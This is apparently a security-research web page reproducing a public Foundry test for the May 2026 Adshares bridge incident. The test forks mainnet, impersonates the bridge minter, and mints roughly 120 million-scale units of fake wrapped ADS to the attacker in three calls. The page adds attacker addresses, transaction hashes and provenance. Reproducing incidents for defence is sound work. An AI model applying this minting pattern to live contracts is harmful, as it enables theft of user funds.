Public reproduction file

src/test/2026-05/AdsharesBridge_exp.sol

Public reproduction file for dataset entry AdsharesBridge.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/AdsharesBridge_exp.sol67 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6// @KeyInfo - Total Lost : ~$628K
7// Attacker : https://etherscan.io/address/0x63e22ce9bde9bb8892a447258abfcaa4142f001b
8// Attack Contract : N/A 
9// Vulnerable Contract : https://etherscan.io/address/0xcfcEcFe2bD2FED07A9145222E8a7ad9Cf1Ccd22A
10// Attack Tx : https://etherscan.io/tx/0x8844b4ec371c4b13d7fac701b5d546a7c2fba12621a9596dd14b662b14408789
11// Attack Tx 2 : https://etherscan.io/tx/0xfba82bb34515d7aefbf0c89582b71d915ec8861c96babaafdc882743dbc23509
12// Attack Tx 3 : https://etherscan.io/tx/0xa3476575183204b4a662dd6ee56f6499d806e4f41ce83d98366752d31e9e9ca3
13//
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0xcfcEcFe2bD2FED07A9145222E8a7ad9Cf1Ccd22A#code
16//
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : https://x.com/DefimonAlerts/status/2055751467579936770
20 
21contract AdsharesBridgeTest is Test {
22    bytes32 internal constant TX_HASH = 0x8844b4ec371c4b13d7fac701b5d546a7c2fba12621a9596dd14b662b14408789;
23 
24    address internal constant BRIDGE_MINTER = 0xF54aF6D4d18C8d61F504E530C127eaa05E011414;
25    address internal constant ATTACKER = 0x63e22Ce9Bde9bb8892a447258abfCaa4142f001B;
26    IWrappedADS internal constant WADS = IWrappedADS(0xcfcEcFe2bD2FED07A9145222E8a7ad9Cf1Ccd22A);
27 
28    uint64 internal constant FAKE_NATIVE_FROM = 0x000300000025ab2b;
29    uint64 internal constant FAKE_TXID_1 = 0x00030000b8460001;
30    uint64 internal constant FAKE_TXID_2 = 0x00030000b8470001;
31    uint64 internal constant FAKE_TXID_3 = 0x00030000b8490001;
32 
33    uint256 internal constant FIRST_FAKE_MINT = 9_999_993_317_172_301;
34    uint256 internal constant SECOND_FAKE_MINT = 9_999_993_317_172_301;
35    uint256 internal constant THIRD_FAKE_MINT = 99_999_994_319_920_782;
36    uint256 internal constant TOTAL_FAKE_MINT = 119_999_980_954_265_384;
37 
38    function setUp() public {
39        vm.createSelectFork("mainnet", TX_HASH);
40        vm.label(BRIDGE_MINTER, "Bridge Minter");
41        vm.label(ATTACKER, "Attacker");
42        vm.label(address(WADS), "Wrapped ADS");
43    }
44 
45    function testExploit() public {
46        uint256 beforeAds = WADS.balanceOf(ATTACKER);
47        uint256 beforeMinterAllowance = WADS.minterAllowance(BRIDGE_MINTER);
48 
49        vm.startPrank(BRIDGE_MINTER, BRIDGE_MINTER);
50        require(WADS.wrapTo(ATTACKER, FIRST_FAKE_MINT, FAKE_NATIVE_FROM, FAKE_TXID_1), "first fake mint failed");
51        require(WADS.wrapTo(ATTACKER, SECOND_FAKE_MINT, FAKE_NATIVE_FROM, FAKE_TXID_2), "second fake mint failed");
52        require(WADS.wrapTo(ATTACKER, THIRD_FAKE_MINT, FAKE_NATIVE_FROM, FAKE_TXID_3), "third fake mint failed");
53        vm.stopPrank();
54 
55        uint256 mintedAds = WADS.balanceOf(ATTACKER) - beforeAds;
56        assertEq(mintedAds, TOTAL_FAKE_MINT);
57        assertEq(beforeMinterAllowance - WADS.minterAllowance(BRIDGE_MINTER), TOTAL_FAKE_MINT);
58 
59        console.log("Stolen wADS", mintedAds);
60    }
61}
62 
63interface IWrappedADS {
64    function balanceOf(address account) external view returns (uint256);
65    function minterAllowance(address minter) external view returns (uint256);
66    function wrapTo(address account, uint256 amount, uint64 from, uint64 txid) external returns (bool);
67}

Analysis

Dataset entry

Public Foundry test for “AdsharesBridge” (2026-05-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x63e22ce9bde9bb8892a447258abfcaa4142f001b
Vulnerable Contract
0xcfcecfe2bd2fed07a9145222e8a7ad9cf1ccd22a

Attack Tx
0x8844b4ec371c4b13d7fac701b5d546a7c2fba12621a9596dd14b662b14408789
Attack Tx
0xfba82bb34515d7aefbf0c89582b71d915ec8861c96babaafdc882743dbc23509
Attack Tx
0xa3476575183204b4a662dd6ee56f6499d806e4f41ce83d98366752d31e9e9ca3

File record

Name: AdsharesBridge
Path: src/test/2026-05/AdsharesBridge_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 4e97076bca6824db7b7195a3e14cac338bcbb9da
Language: Solidity
Size: 67 lines
Date: 2026-05-15
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2026-05/AdsharesBridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4e97076bca6824db7b7195a3e14cac338bcbb9da, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.